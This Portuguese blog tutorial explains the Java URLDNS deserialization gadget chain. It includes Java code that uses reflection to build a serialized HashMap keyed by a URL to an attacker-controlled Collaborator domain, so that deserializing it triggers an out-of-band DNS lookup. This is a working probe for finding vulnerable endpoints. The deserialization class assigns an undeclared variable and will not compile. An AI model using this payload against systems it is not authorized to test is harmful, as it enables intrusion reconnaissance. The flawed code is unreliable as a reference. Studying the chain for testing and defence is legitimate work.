Cadeia de Exploração URLDNS em Java

Princípio

A técnica URLDNS em Java emprega deserialização via readObject combinada com consultas DNS para detectar pontos vulneráveis de deserialização. Suas características principais incluem:

  • Limitada a iniciar solicitações DNS, sem capacidade para outras explorações.
  • Compatível com qualquer versão do JDK, utilizando apenas clases internas do Java, sem dependências externas.
  • Útil para verificar a existência de vulnerabilidades de deserialização em ambientes sem resposta direta.

Análise do Mecanismo

Para executar requisições HTTP, a classe URL do Java é relevante, pois implementa Serializable. O método openConnection estabeelce a conexão, retornando um objeto URLConnection.

Ao inspecionar URLConnection, observa-se que é uma classe abstrata. Seus implementadores concretos não são serializáveis, tornando essa rota inicial inviável.

No entanto, a classe URL contém uma função hashCode() explorável. Examinando handler.hashCode, constata-se que ela invoca getHostAddress(), que resolve nomes de domínio para endereços IP.

Portanto, getHostAddress() pode ser acionado via hashCode() durante a deserialização. A classe HashMap sobrescreve readObject, chamando hash(), que por sua vez invoca hashCode(). Assim, um HashMap com chave URL dispara hashCode() na instância de URL ao ser deserializado.

Implementação da Cadeia

Inicialmente, a serialização simples:

package org.exemplo;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class GeradorObjeto {
    public static void salvarObjeto(Object obj) throws IOException {
        ObjectOutputStream fluxo = new ObjectOutputStream(new FileOutputStream("dados.ser"));
        fluxo.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> tabela = new HashMap<>();
        tabela.put(new URL("http://dns.colaborador.exemplo"), 1);
        salvarObjeto(tabela);
    }
}

A URL deve ser configurada com um domínio controlado, como via Burp Collaborator, para monitorar as requisições DNS.

Ao executar, a solicitação DNS ocore durante put(), pois esse método já invoca hash() e hashCode(). Após put(), o campo hashCode de URL é definido, evitando reexecução na deserialização.

Para forçar a invocação durante a deserialização, é preciso usar reflexão para modificar hashCode antes de put() e restaurá-lo para -1 depois.

Código aprimorado com reflexão:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class GeradorObjeto {
    public static void salvarObjeto(Object obj) throws IOException {
        ObjectOutputStream fluxo = new ObjectOutputStream(new FileOutputStream("dados.ser"));
        fluxo.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> tabela = new HashMap<>();
        URL urlAlvo = new URL("http://dns.colaborador.exemplo");
        Class<?> classe = urlAlvo.getClass();
        Field campoHash = classe.getDeclaredField("hashCode");
        campoHash.setAccessible(true);
        campoHash.setInt(urlAlvo, 1);
        tabela.put(urlAlvo, 1);
        campoHash.setInt(urlAlvo, -1);

        salvarObjeto(tabela);
    }
}

Dessa forma, a solicitação DNS é suprimida durante a serialização, mas disparada na deserialização.

Código para deserialização:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class RestauradorObjeto {
    public static Object carregarObjeto(String caminho) throws IOException, ClassNotFoundException {
        ObjectInputStream fluxo = new ObjectInputStream(new FileInputStream(caminho));
        objeto = fluxo.readObject();
        return objeto;
    }

    public static void main(String[] args) throws Exception {
        carregarObjeto("dados.ser");
    }
}

Ao executar a deserialização, a requisição DNS é capturada, confirmando a exploração da vulnerabilidade de deserialização.

Tags: java deserialization DNS reflection exploitation

Publicado em 7-23 15:39